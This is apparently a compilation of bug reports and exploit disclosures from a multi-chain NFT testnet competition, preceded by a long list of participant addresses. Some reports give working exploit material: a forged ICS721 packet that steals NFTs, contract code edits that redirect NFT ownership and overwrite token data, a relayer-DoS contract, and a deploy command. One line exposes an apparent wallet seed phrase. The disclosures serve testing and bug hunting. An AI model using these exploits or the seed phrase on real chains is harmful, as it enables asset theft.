gir1/OlegBirkoff | iaa1zzx583wtxgu6pnyq4gyhj0mspx7eehpudvupqt |
gir1/PetrFerz | iaa17ddw884ly906vccg40qne0tqzysytumzrk6ap8 |
gir1/RFuture | iaa1nkk935vnxpcqrt7ul67dtvekh7cr0ednq6ffmt |
gir1/SegaStakers | iaa1xul2k99x5hug55kyka2mjphqjyjcd6wuay55q3 |
gir1/ShenFri | iaa1kk3qg20e2vmcuzeuau8yu9kzqhcr3eweqfwxkk |
gir1/TheCodeor | iaa1wxl44399uppwd5uc6rrgz07plzs9atv8fxt7qr |
gir1/VasyaIvanov21 | iaa177qeth9t4qdpczfr4vke4wu3gfet2pdp9h5lmg |
gir1/Vgk88 | iaa1ksu5npssgngfm0h8zc3hu0rrkux8z9gmvj9zvm |
gir1/VladDevv | iaa1kw75spqdu6xcc2qjzm2c8qqrv66asv7qd9g96v |
gir1/XuehaiZhang | iaa17tmylzn4n9ekeyvrkj248j2g490qs2yyuxyt28 |
gir1/ZhihangLiu2020 | iaa1s62hzktpag3k2s2k2tfa9p4lqvagmuwrj0qg4a |
gir1/alfset | iaa1k8zukzhyyzuk0wurh9r4j25ttgvzfp7g6hhc5y |
gir1/alipostaci2001 | iaa1h8uj22du0ka3ylq6rnx00cupey9y6e4jslsqcz |
gir1/alkadeta | iaa1jmx7k727ea7vd6arra52fw9p4qgn03d7jxl95d |
gir1/allyter | iaa14zru37e9zrha0lsnc64e89mc22etq50gaerxfd |
gir1/alpe | iaa1thyrs2wsjgc777z6h6lgpajzpwhwe2e9mgstlj |
gir1/alxnode | iaa1xgmsyhmfdewqgdltqw4cmkpjghm4f4acemnh2z |
gir1/amonxx | iaa1z8nmflnpj03q2994vx7h6h90g6uxvaud0wnyum |
gir1/anurg | iaa1vxeek5v8vw30h2m5hy9jat4w0ygkuqy9v9se26 |
gir1/ardapda | iaa1du2v73lf4hma5tpq0f73j69h0hm9veyythkks9 |
gir1/arifintahu | iaa1qkqe3yrhvyvd7y5u8374vcxw2evzgqj2tqlnrh |
gir1/arnettee | iaa1gg2a0lr5c6yqn4dyhuftwx37f962yh2h0ukuqh |
gir1/beal2912 | iaa1rxftqkksy3u6n4sdu6l9mz30vm72n9l4uhzdj4 |
gir1/benrazor | iaa1kt0t57apdcu2s5k7jdvfsslvclu7mktn43kv0v |
gir1/blacktoor | iaa19fqqwkgrrcktqljpz5vsepkknhe0elgd2mqxqk |
gir1/blasmorkai | iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w |
gir1/blockhuntersdev | iaa1w8xxkzsglsg9nd2q60f9p292tv2k0dqm2ys4tj |
gir1/blossom124324 | iaa1hmkc6w4f4wxfu34gtaz6thgm0n57gz674cyaa7 |
gir1/bronbro2 | iaa1ykluardc70dx0v308dqahngt3dgzvfxjktawpu |
gir1/bunnygangsta | iaa14twcjxxafcw7x0q4vk4l6aj03mz7pvepzpa0wd |
gir1/busteter | iaa1qppucn75sp46hnw42yjj6chemf5zgvxwtl5nry |
gir1/carameleon | iaa1typgf72ee0dq2cznqm6vnlpv0nkcshjhgqmpww |
gir1/chainsmt | iaa1m0u69jrtd70wrkxkm0jwx64eu7432k4lfen5yy |
gir1/chillyvee | iaa13rd5d39dp7qdccw05wwnhqce3j0zahzey9tjc5 |
gir1/ciprianmuja | iaa1828e0j32udqkz66mvuf6znzxvunjptvtuc2w8f |
gir1/cjisthecat | iaa1vzptwj7v30g0lf7emyqx3u8k7a0rcyxckggh5z |
gir1/cosmowiz | iaa1q5reqcguqlhgnd7y8rfjhc4988me0lh5drg7al |
gir1/cyberomanov | iaa1s4chs8vs85x327uzgsr4ynrhlhk0da5z2a4nvr |
gir1/deden2904 | iaa1sxue5vc26wuwwc6f6pxrpel5umwx9zkykp7ppl |
gir1/deeeffes | iaa1klufvdwy6tjevm6quwcwlykpsge266m5q8mfcs |
gir1/defiantlabs | iaa1dnmz4yzv73lr3lmauuaa0wpwn8zm8s20cx2rtp |
gir1/demonchang | iaa1n2sm8zl6zwl4sx2zc39yc2qzvgjtmjhmtea7cf |
gir1/dhkgon | iaa15vsyx3fk9eqg3tmdp55m8gp77jvg9leej98tyt |
gir1/dolphintwo | iaa1a055aftycf8tcrwx5latqyxra4r4wvpg4rfssu |
gir1/elfelf2 | iaa1xd57q3h47vfrufctpfx4tj2zgdl4w6xc0yrdr7 |
gir1/fangqia | iaa158stguahxl69hxr85ucpg8q6ms3sxpt5vs8d2p |
gir1/farukyasar | iaa1pa08ws4mhvp2qcpz5yh4yfqu0rj8hzxwv8fpgz |
gir1/freak12techno | iaa1w6e8m7tjwp2r2dq366hwf0gtdptgjvdxt66vaz |
gir1/furkanefeoss | iaa1zdka0sa25kvr4v63gx9s24g8ah629c7k0qc08c |
gir1/giansalex | iaa1zxtlyk7l6n3t46yqse84sza7ar39m8uljcwrp5 |
gir1/gjermundgaraba | iaa1ypynejafjw6u2cucqp9yjnahxjt3vkl6ms2fum |
gir1/gkhncglr | iaa1lhm8l68q860pwd46su4r0kt2z3xskjfnmlxlua |
gir1/gokceeee | iaa1mc6yx0gl727je57wwx7tc8eusl93d77yqytv02 |
gir1/gokmenkutuk | iaa188ldsnxc4lmpp3te2j0ttd7y55ymyghg6y7r69 |
gir1/goooodnes | iaa10vacnk5tkky3rle93e7ghl6ms893yx6dx0p94h |
gir1/gouzhiyuan | iaa1y4znzseh5tze7dgqkgzu5ehqu7drqqxngyzk05 |
gir1/gruberx | iaa1j0fpap4936a7z9kwg2djlr9mj0ymdzdtftp5gt |
gir1/heejingithub | iaa1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579gq67d5 |
gir1/hexp1989 | iaa1aw0jfqlg4ulhnleytpydvmx0zem33828awyc6t |
gir1/i7495 | iaa1dhsf549zh5k6g00e9leu3yx2hyqt7d0uw36cg5 |
gir1/ibrahimarslann59 | iaa156vzzhjqk9gzsk8fjje3msupj0fv8lyhnalzgl |
gir1/ibrahimdulger | iaa14pxla3c0umrtfg6l86f9hfusjj63rsd3qg84xy |
gir1/ilhamnurizha | iaa1vrdvwapp49kgj2x3y9ll3lw3wgmwy0qkpg95qk |
gir1/ilkeff | iaa1z6u25xdmuvyve3npvt73ta43583h68dtaq2uy4 |
gir1/imnisen | iaa1z4uncvfqzc8jvz6ejdnllq6g2ze4vudky546z0 |
gir1/jim380 | iaa1jhkzj8tuel7tvweztqhqff9m0d7lwavz3espx2 |
gir1/joshlopes | iaa1ytr0nujljr44t7kw2vhe566ecjz8mtn8xgv0y4 |
gir1/kadiralan | iaa10k6w4fxfaq4g3zkw7fneqdgu6s5j0qd4nz2s27 |
gir1/kaizhizhang | iaa1qlwgt4rmt3l3xdee9l4mn6rwewwh4kgl2kdugw |
gir1/kaka0319 | iaa1k2r3hl2w4483e7wh5j6e0lmn5lr9e6k0wxpv5e |
gir1/kanakattack | iaa1tvun0xdgq9rz353zlqr2jtnm2fnspl3yhrenmh |
gir1/karat0 | iaa1rhgy4cjklhsa7q76qqn4n9pzcqn5utu3s9w4km |
gir1/katheeE | iaa1e24s0tz8hkkf905lpaw6s6dtczf2tt99fh4xw2 |
gir1/kaustubhkapatral | iaa1dtpkz84q8z6ewxjxna3qykmgxy2zskfucrzxnd |
gir1/keyllli223 | iaa1mrrdmatjtdmhnu605h5g27rf9qj9xr5eew7p4s |
gir1/kivancbeser | iaa1c3m67xnd6nvqanhndspvy9e9gax3qjww5e29d4 |
gir1/kleomedes | iaa1qtnhka7wkhlzlat9ju8vytaxmzlqwy5523sjdr |
gir1/krisboit | iaa1dqwhvwmfha77pljpg2zurc75as6gqq8822yf5y |
gir1/lamboo | iaa1qzry3k4gntwj9ueqyw502txsrrc5w5cuhxxwyd |
gir1/landerosua | iaa1khntu8dryrqz2nmr6fswzw753ewdlxdja7z2f5 |
gir1/leonikaf | iaa1lex8xp3h9dnfu0nvpewse0cygsd9rag6ky8hn5 |
gir1/lesnikutsa | iaa1vvmhgks8rrns9cwfgegpgs66xclw00jya5h0c4 |
gir1/liwenjia345 | iaa163u9wks3fm3uskrn38lwmqqnupv4n63jeq9z54 |
gir1/mahofmahof | iaa1w6m2yzpum76eka7z6zdrpq4zrg6ue33h7ph455 |
gir1/marcotradenet | iaa13qfqt0htfel3sxzys8hqeql8gyyspn9z7k0nkq |
gir1/mariowork | iaa15npjzka4pgzs7sgrukmdxxqfed27nhw90w2xh5 |
gir1/marryton007 | iaa1vzj40p0t54e6cscrvd3kyldlq06k02j0dyr3l6 |
gir1/mcanvar | iaa1ydpmcer7cgmwxyvv277zv0drlvfh0d7yasxg7z |
gir1/mccallofthewild | iaa1ztxwfpggyc5eqhev548z8wkwj8hx5k4hxdkqlr |
gir1/meathewww | iaa1kezghqmxep8apuxc7nv44rnu8anhm3hrmzynmp |
gir1/mengfanjie95 | iaa1r29cfs58lff6m072hnkglq38kq6958r7js8t28 |
gir1/mmcel | iaa1rwyh0mvg36s3776mwjxpuxqezvd3503qrhdkaa |
gir1/nguyenquan9699 | iaa1wq967n8dczefkzun2wfg0mnm882ydqur06lwzq |
gir1/nodeiistt | iaa1zy9ev09xxr58rfx9te90vdysmuyrwr7evyklj7 |
gir1/nodestake | iaa184hv0zmw2n9ud3h87mdykz22dr2d7yumpd9lfa |
gir1/nurtagum | iaa1fxvmkjm5rzr2mhy63qum7y87544nu5hrsgkpcp |
gir1/nyaironggeng1 | iaa1pczvcvkjaqqmaxpjpxq0kyxc9p5fwn62wukvpv |
gir1/oOZz | iaa1hp386plt6xu0mnjxjzxp4zf5w5ccjdd85v6cqc |
gir1/okannako | iaa1vc5l6qu23vee608f5ggwrnqtc4aexaw6gewz9q |
gir1/okwme | iaa1l5um3uekts87fvjunel8xvv9vadspc33m3c5vx |
gir1/oldcatv | iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx |
gir1/omercanyenigun | iaa1h96drj3x7qjvgfscevz7nd2e7eqj8g7nmc8r2k |
gir1/onurhizlan | iaa1zeqycljyz0a8l0mfam5hkv7xyvmssf0ngm0rzh |
gir1/osmanbo | iaa1wpp9yffpcljulvnss08ress6y8qtqa3ekg5s8u |
gir1/pingpub | iaa1evafzxq68h556shtqcjtz0vkejdd4275qwzfpf |
gir1/pinosu | iaa1nrtuu9c0dkcxcrd5w7fyppy9l6343fwe5a5pqa |
gir1/polkavio | iaa1ag44l06ec3kkaf4cx5s7w8dnwdhnhvk06fzt5s |
gir1/ptts55 | iaa104m3r6tuanzmq8ll4wyuhh5dqqynfvqsey5zjg |
gir1/remianch | iaa1782pwpag2ve6wgd9wphhd5atm6emlv04udajf0 |
gir1/rysiman | iaa1dw7uznahn3sklj544pyy73vzxxedpsu0cdna0p |
gir1/sanshainstar | iaa1zcr3dutv0uh0sr2x2ll4aqlcxyyyk2gh78rmuc |
gir1/sarsersirsur | iaa1dlg3ez2c6phmf7xk5pk98l9qzehnkqruyfr20w |
gir1/secard51 | iaa1f70vf6yt675322hh7a38am40he926d8sc66dn9 |
gir1/selimkafa | iaa12vcrw9cjvsnzs02q2fp9p4lx4pzfhxnk2dn2hd |
gir1/si35 | iaa132pl57u4qm0d0jax4dsk4jkdfc2mcp6lwu2qmk |
gir1/silentnoname | iaa1g5arldt04fs4m23p2wjzqwrd5yppu2kchj39v0 |
gir1/songjiazhun | iaa1z8ukcxmhelz7jncsctl27jmdzmqanqrmtj77z9 |
gir1/stguller2 | iaa1q8zrfyv7muv7aflr5xzn069zfumy4xs8atc0w6 |
gir1/studentmtk | iaa1pkeydzqcdrvyeutp4p3q4k2r96sajuf4896wy4 |
gir1/superdreams | iaa1vwqy94txqy0suva8jam58d995pmuqvh8jy4lxc |
gir1/sxlmnwb | iaa1xheppmt689acf7mp6je59tmjqgstjghkqrmrm9 |
gir1/szryldrm | iaa1w67t645d9usgdyvgsamc4y6axpax8ertn4hhwf |
gir1/taitruong | iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f |
gir1/techwomen35 | iaa10pxl8fqs7kp68wh7uvsjnhx0vhupanzkjuk67x |
gir1/timveltman3 | iaa14gzr79v27csvlyperv0gsf5me9jywlthns2r8x |
gir1/tiramisu26 | iaa17ks9yaes9x9tfrt4eees7mzeck00pzc5tqfu7x |
gir1/trulacgctcnetwork | iaa1dtgf8l2c6efpkshnm24xzn52nhry8uj99r2gjm |
gir1/uniqlabsorg | iaa1s3m24ynlwqsr88584mkcaepj6kfx0fn345eh6d |
gir1/valNodeOne | iaa1djjha5yv5p32fpuw4l99nfnhc4j84gfk64cuz3 |
gir1/vivensy | iaa17mdu9nwkl5j0a3repexh7wplmvsvupulju3rc8 |
gir1/waitrouz | iaa1hgwvd0scc7qmyrr97mrkm8yfa9rcxmr3e8qzju |
gir1/wetezos | iaa179h7vvp3vveng5xrhu95k8vaxgr8d8gzfpqsr9 |
gir1/williamchong | iaa1wesx8r0696ejnasqarrxd0gm45c4jwjns6n7fx |
gir1/williamqiao | iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf |
gir1/xavier200203 | iaa1ghcwp60uzgylr3kukkppzq457j0tlqw7g3s69u |
gir1/xbdyhh | iaa1w3t6kvkvhudyrcvveu9yzyh3sv7ykpsthvsepz |
gir1/xianxianzhou | iaa16hqe6z0d08d007uuwq6xx23srww65atj9fgcpq |
gir1/xxfs | iaa1c275fwntd765htsaqzffv262yxj99rr6pv8ddc |
gir1/yekssin | iaa1zj835pe42xlp6cxxr60zk7uw9dvk5q3yxycqj6 |
gir1/yuanzd123 | iaa1d5cz9wyjlkeymw22meq4c9fl7p5k5kysnv8kp9 |
gir1/yulianandyka | iaa1pu5asmzmhumwly4umu4qg4k4pysyg2lwdpqrp9 |
gir1/zanglang | iaa1tez4axjzrfr0h96hug80wgcfuhe402m5ckass2 |
gir1/zhangweidong123 | iaa1lex2e7swh6wfgwtm5r8p94cjf425pmznucpsv0 |
A cw721 contract containing malicious code added to TransferNft
method, which would then be executed by ICS721 to redeem an NFT (on IBC Rcv).
Ubuntu 20.04.4
[email protected]
. [email protected]
transfer_nft
handler.Expected: ACK with error for exceeding the gas limit
Actual: Transaction on JUNO (IBC Recv) never completes
This can cause a DoS attack, where relayers are busy trying to execute transactions that cannot be completed.
Malicious cw721 contract
https://blueprints.juno.giansalex.dev/#/contracts/juno1rn6q7hdd95wly4tuun7ffjc4x2rak27twd6ypynlyplpc84um03qqvtq7h
I have been working really hard to help people in Discord (mainly in the gon channel, but some have reached out on DMs as well).
Some examples:
I have over 400 messages (mostly helping people) in the gon-testnet Discord channel, so you can look there to see more.
I believe, right now at least, this particular issue to be different than most of the "stuck" issues which are just IBC transactions not relayed. In this case, the message has been relayed.
Initial transaction: https://gon.ping.pub/iris/tx/31BF0367A0CC2855A5A29D414F0026AC62F03B47E2DA20B4B45F9D84981B3499
Receive transaction: https://gon.ping.pub/stargaze/tx/4379374DCEE2CAEA5EEEBACFBE476BFC7C4D2B57993D9695C6209DDCF1073503
In the write_acknowledgement events, we can see something happened:
packet_ack: {"error":"codespace: wasm, code: 5"}
The owner of the NFT in question is still the bridge:
$ starsd q wasm contract-state smart stars1t96ufuv24knrau6d4vnzq4988v7j0um4m9efu8chh4eenmr755nsuexkcp '{"owner_of": {"token_id": "test01"}}'
data:
approvals: []
owner: stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh
According to the ICS721 spec, multiple tokenIDs can be sent in the same IBC packet, the nft-transfer
module supports this, but cw-ics721
although it allows receiving multiple tokens, it does not allow sending multiple tokens.
e.g: In the following Tx, approve
, revoke
are executed in cw721, and transfer
in cw-ics721
{
"messages": [
{
"approve_all": {
"operator": "ics721-addr"
}
},
{
"transfer_nft": {
"contract": "cw721-addr",
"token_ids": ["token1", "token2", "token3"],
"channel_id": "channel-1",
"receiver": "iaa1...",
"timeout": {
"timestamp": 1234567890
},
}
},
{
"revoke_all": {
"operator": "ics721-addr"
}
}
]}
In NFT cross chain transactions from Uptick, Irihub, and Omniflixhub to Stargaze, Juno, the parameter "revision_height" will be automatically obtained when creating cross chain transactions, but the obtained "revision_height" is smaller than the actual value. One party successfully trades but the other party does not receive it, resulting in NFT being in a managed state all the time.
For example, NFT cross chain from Omniflixhub to Junoใ txid: EE3F6EE8E874B633C0985C3265995394E137C94A543B6914DA870F177E7F2AB, the transaction creation time is 2023-03-17T01:57:37Z, and the value of the parameter "revision_height" is 565953, but in the Juno chain, the time for the height of 565953 is 2023-03-15T18:00:35.071266717Z. The timeout for ibc transactions is significantly shorter than the current time,
https://gon.ping.pub/omniflix/tx/EE3F6EE8E874B633C0985C32659953942E137C94A543B6914DA870F177E7F2AB
https://gon.ping.pub/juno/blocks/565953
There are also similar cases๏ผ
Irishub to Juno txid:95A22293F62C7387DEF2A5ADC231F347D68920BA5151D28641117C8559DB98A5
uptick to Juno txid:343636B2361DDA92303AB318FE0CE39C5D997FB0E469BBA15FBDB408E748741F
Cannot get class hash after sending the nft using the command:
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-91/nft-transfer/channel-41/nft-transfer/channel-6/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-209/nft-transfer/channel-24/supermintG"}}'
Both nfts are in the escrowed address on Omni, but Juno cannot find class hash
OS: macOS 13.2.1 (22D68)
Software version: v12.0.0
This happens when I transfer NFT following this flow: i --(1)--> s --(1)--> o --(1)--> j
(It happens before, when transfer from s--> j, but it can be resolved by resending the transaction again from s (multiple times))
I have tried to send two nft following this flow, one with a timeout, and one that does not.
Transaction hash:
without timeout: https://gon.ping.pub/omniflix/tx/7B25136A52103139DCAC9E8F7CC45917590A88A3858C6AFBE1F598D23E8AE46D
with timeout: https://gon.ping.pub/omniflix/tx/95D70081B7992BC3A4D26C9741E3FE07B7EC9693C863E0FF6704F2D61B693834
It should return a class-hash. It returns null.
Additional Context
This happens a lot when transfer to Juno
I'm failing A16 on the scoreboard, I double-checked the 'osmanb' and the flow and couldn't find a problem, is it possible to find out the cause of the error. @taramakage
iris hash: 4650BF5F9771C0B51D977F368B3B74763F3E26205F09243BE1E9ABDD44B37E06
classid: isc721FanIRISId
nftid: isc721FanNFT1stId
transfer isc721FanNFT1stId to Stargaze success, But contractAddress cannot be found in Stargaze
When I replaced another nft isc721FanNFT2ndId, contractAddress can be found in Stargaze
use channel :
nft-transfer/channel-23 <> wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-208
When I replaced another channel๏ผ transfer isc721FanNFT1stId success๏ผcontractAddress can be foundใ
nft-transfer/channel-22 <> wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207
Nothing crazy here. The newtype
pattern's benefits do not extend to response attributes. Token ID attrs should be formatted such that transactions can be easily searched and indexed by token id.
cw-ics721-bridge
Steps to reproduce the behavior:
Transfer cw-ics721-bridge
Expected:
.add_attribute("token_id", String::from(token_id))
"value": "mytokenid"
Actual:
.add_attribute("token_id", token_id)
"value": "[TokenId(\"mytokenid\")]"
NA
NA
I have transferred "ark13" from Stargaze to IRISnet, but I cant query for this specific token.
# query for specific token does not work
$ iris query nft token 'ibc/3449A9F89F4841A735D15600ADDD3757C43CD2DEC841C1006D3B6B1C37ADB2CE' 'ark-13' --output json
Error: tokenID can only accept characters that match the regular expression: ([a-z][a-zA-Z0-9/]{2,127}),but got (ark-13): invalid denom
# thought collection shows there is token ark13
$ iris query nft collection 'ibc/3449A9F89F4841A735D15600ADDD3757C43CD2DEC841C1006D3B6B1C37ADB2CE' --output json
5 tokens found
...
{
"id": "ark-13",
"name": "",
"uri": "",
"data": "",
"owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
"uri_hash": ""
}
...
Token query should work.
That happens when a token is sent in a second flow and the cw-ics721
has not received IBC Acknowledge in time.
e.g:
i -> j
(OK)j -> i
(JUNO does not receive IBC ACK in time)i -> j
(JUNO cannot mint the token on IBC Recv)Looking in the code, this occurs because cw-ics721
burns the token sent to the remote chain in IBC ACK event, but due to spam it does not receive the ACK in time.
https://github.com/public-awesome/ics721/blob/main/contracts/cw-ics721-bridge/src/ibc.rs#L172
you got an ACK error, it cannot mint the token on Juno.
Recv Tx: FDF77BA26C620AAF5D6609727153B27A31958AC9111DDA6D1B3246EC6D927D37
The burn event must occur at the time of transfer, as does nft-transfer
module.
https://github.com/bianjieai/nft-transfer/blob/v1.1.1-beta/keeper/relay.go#L259
NFT cross the chain from iris to uptick. The nft on iris is locked to an address, but there is no event of nft to this locked address in the transaction record of iris
When transfer NFT from Omniflix to Iris, the IBC Acknowledgements always show code 5, packet acknowledgement hash not found.
Bug 1: can not transfer nft (O-J-1) to others.
TX: https://gon.ping.pub/omniflix/tx/E3B0410DDA8C92C11A0D0B155FAC99BAF9AAF9CD4DB6CE18ADFE43AE4F07A0BB
Bug 2: try transfer nft (O-J-1) to myself. IBC Acknowledgements code still 5, but Iris wallet received the nft.
TX: https://gon.ping.pub/omniflix/tx/iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf
jadefan provides NFT IBC dashboards for the Game of NFT :
Dashboards for all accounts
Dashboards for all tx
URL of Explorer: http://nft4good.xyz/#/transfers
Chains using nft-transfer
module are affected.
An attacker can create a custom ICS721 implementation on a remote chain, and send packets with a classId
that matches the class-trace path of any NFT on the origin chain, because the nft-transfer
module does not verify the owner of the NFT in the destination chain, the attacker can steal any NFT, even if the NFT has never been used in an IBC nft-transfer.
[email protected]
github.com/bianjieai/[email protected]
{port}/{channel}/{remote-class-id}
, where {remote-class-id}
is the NFT class to attack.malicious packet sent:
{
"classId": "wasm.juno14svms48zknd2583kunct22haqf26tsmzd8z0n50zgfj9mkfygdvqxjhjdj/channel-113/bitvalidator01",
"classUri": null,
"classData": null,
"tokenIds": [
"bitnftA4"
],
"tokenUris": null,
"tokenData": null,
"sender": "juno1zxtlyk7l6n3t46yqse84sza7ar39m8ul3gdfye",
"receiver": "iaa1zxtlyk7l6n3t46yqse84sza7ar39m8uljcwrp5",
"memo": "hack"
}
the attack has been executed on chains using nft-transfer
module
demo: JUNO <> IRIS
Tx Transfer: D4AD024E4972D7FED3FB9364953D33525313F089C8780386056D17F16BAE50E4
IBC Recv: 5467BC97AD6CF7A667BF9CF5D3F4519310AA0F341FF2CE3EC59BECC7431626BF
Custom ICS721 contract
https://blueprints.juno.giansalex.dev/#/contracts/juno14svms48zknd2583kunct22haqf26tsmzd8z0n50zgfj9mkfygdvqxjhjdj
source code: https://github.com/disperze/ics721/tree/gon-attack
Put my address on the list please
iaa1084xy70k92shk4dcqxps7ujknw0h4ewfxwvt2l
only these words are produced:
tribe road canal park below end soon rent april strategy solar tired vintage bomb control enjoy net melody rely country orient entire bro
Cross-chain an nft from uptick to iris, and generate a transaction record on uptick. Correspondingly, a cross-chain record will be generated in iris. But now there are many cross-chain records on iris.
uptick nft denom id : notSet
uptick nft token id : multx16
uptick ibc txid: BE089C574C182D5E3DCD445BBCAF305B8D32E20B5C034EF0B75D12ADCC51BF19
iris nft denom id: ibc/E58F5FEFD89F869F9AE2341448867E4AFAECE456AE7146F2FFD5BBC50969C154
iris nft token id : multx16
iris ibc txid :
txid: 74F6289C34C0E4E659482C12A29E653B220BAD05E194A8721832FA2B55571F7A height: 378521
txid: 70A605EE8AFE618C3047FC7A6FD2C8F2FF8D7DB15D8820F989594AB198C0B88E height: 378521
txid: 88D6E49604EC07C4E0C5C50F52C8789C16F1B8B8B8AD7F0A3EA62CBA19B99341 height: 378521
txid: 694869FBEB58318DCA0EAC44C28F60E94FF64B7F6022286E3806EA545B53594A height: 378520
txid: 9085719F2C9F8AE9CD238E33207EDB28D5DE850B6F62F2C8D8E49C57E417F200 height: 378520
txid: F28162F44A9F280AE04B1A3552353CF8CAF72951B50F7991E058BD259866BA8F height: 378520
NFT with id arkNFT022 exists, but query stops with error
# token query returns error
$ uptickd query collection token 'ibc/326A6F38C0A4460B7F02AC3D936693254314A5F11720FE12DFE3B31036844B7B' 'arkNFT022' --output json
Error: nft id(arkNFT022) only accepts alphanumeric characters, and begin with an english letter: invalid nft id
# collection query though shows correct NFTs
$ uptickd query collection collection 'ibc/326A6F38C0A4460B7F02AC3D936693254314A5F11720FE12DFE3B31036844B7B' --output json | jq
...
{
"id": "arkNFT022",
"name": "",
"uri": "",
"data": "{\"irismod:name\":{\"value\":\"\"},\"irismod:uri_hash\":{\"value\":\"\"}}",
"owner": "uptick1h7c0ltrj6z707eh3z4cyv4jkqwfv6lj76se7lr",
"uri_hash": ""
}
]
...
Not all denoms are shown. Problem is either in CLI/client or nft module.
This query tells me there are 100 collections:
$ iris query nft denoms --page 0 | grep "id:" | wc -l
100 # 100 collections found
Now create a new collection:
$ iris tx nft issue arkprotocol004 --symbol "arkprotocol_symbol" --name "Ark Protocol - building multichain utilities" --uri "https://arkprotocol.io" --mint-restricted=true --update-restricted=true --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris -b sync --yes --output json
Query shows collection is, but the number of collections is still 100:
$ iris query nft denoms | grep "arkprotocol004"
id: arkprotocol004
$ iris query nft denoms | grep "id:" | wc -l
100
Queries are paginated and there's --page
with default value 1, however no matter what page is given it always currents the latest 100 collections:
$ iris query nft denoms | grep "arkprotocol004"
id: arkprotocol004
$ iris query nft denoms | grep "id:" | wc -l
100
$ iris query nft denoms --page 100 | grep "id:" | wc -l
100
$ iris query nft denoms --page 1 | grep "id:" | wc -l
100
$ iris query nft denoms --page 2 | grep "id:" | wc -l
100
$ iris query nft denoms --page 3 | grep "id:" | wc -l
100
$ iris query nft denoms --page 4 | grep "id:" | wc -l
100
$ iris query nft denoms --page 10000 | grep "id:" | wc -l
100
Here is another example from ibc module where queries work properly:
$ iris query ibc channel channels --page 1 | grep '\- channel_id' | wc -l
39
$ iris query ibc channel channels --page 2 | grep '\- channel_id' | wc -l
0
Return collections based on pagination.
The NFT data is modified when it is sent to chains with nft-transfer module, but not when it is sent to CosmWasm chains (cw-ics721).
Ubuntu 20.04.4
[email protected]
{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""}}
{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""},"uptickd:name":{"value":""},"uptickd:uri_hash":{"value":""}}
{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""},"omniflix:created_at":{"value":"0001-01-01T00:00:00Z"},"omniflix:description":{"value":""},"omniflix:extensible":{"value":true},"omniflix:name":{"value":""},"omniflix:nsfw":{"value":false},"omniflix:preview_uri":{"value":""},"omniflix:royalty_share":{"value":"0.000000000000000000"},"omniflix:transferable":{"value":true},"omniflix:uri_hash":{"value":""},"uptickd:name":{"value":""},"uptickd:uri_hash":{"value":""}}
I would expect that the NFT data will not be modified, or that the behavior will be the same in all ICS721 implementations.
SUMMARY
I decided to aggregate information that will be useful for testing. As the tasks are completed, I will supplement this topic.
1. Setting config, for example IRIS:
$ iris config
{
"chain-id": "gon-irishub-1",
"keyring-backend": "os",
"output": "json",
"node": "http://34.80.93.133:26657",
"broadcast-mode": "sync"
}
I suggest setting as a minimum node and chain-id.
iris config node <node>
iris config chain-id <chain-id>
Also better setting broadcast-mode to sync. This way it only waits until TX is returned. using block leads often client to timeout after a certain limit - which doesn't mean command is not executed... just don't use async otherwise you won't get a tx.
Since output is sometimes very long. You can output to json and use jq in bash for better formatting. With jq you can easily also query elements in json.
2. Uptick GON Explorer
I did not find information about the Uptick browser, so I will write it down here: https://explorer.testnet.uptick.network/
3.Useful linkfor Decode/Encode Base64 format (Necessary for payload message).
https://www.base64encode.org/
I want to leave a probably useful link for those who want to save their time writing transactions.
Let's say thanks to the participants of testnet`a, although I personally do not use it, it will probably be useful to someone.
http://gon.disperze.com/ibc-transfer
I also worked for the benefit of test participants by helping them with the following(Some members contacted DM):
Not sure whether the following exploit covers Best Auditor or Bug or both :).
There is a way of rugging an NFT and changing its (token) data, by having the following setup:
Original collection is e.g. on IRISnet
Collection is created on IRISnet and an NFT is minted with token data
An exploited ICS721 contract is setup e.g. on Stargaze
On receiving an NFT (from IRISnet) it does:
This contract overrides incoming recipient address send from IRISnet and provides its own address as new NFT owner.
On sending an NFT (to IRISnet) it does:
sends an NFT with exploited/manipulated token data
Exploit happens this way then:
original ICS721 contract is here: https://github.com/public-awesome/ics721/tree/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge
On NFT receive and taking NFT ownership, replace line 55 with this: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/ibc_packet_receive.rs#L55
let rugged_receiver = "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc";
let receiver = deps.api.addr_validate(rugged_receiver)?;
On NFT transfer and changing token data, replace line 190: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/contract.rs#L190
token_data: Some(vec![to_binary("{\"exploit\": \"gotcha\"}")?]),
Now a honeypot on Stargaze needs to be setup:
Detailed steps:
# upload exploited ICS721 contract (ICS721 code id: 1674)
starsd tx wasm store ./cw_ics721_bridge_exploit.wasm --gas auto --gas-adjustment 1.3 -b sync --output json --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc -y
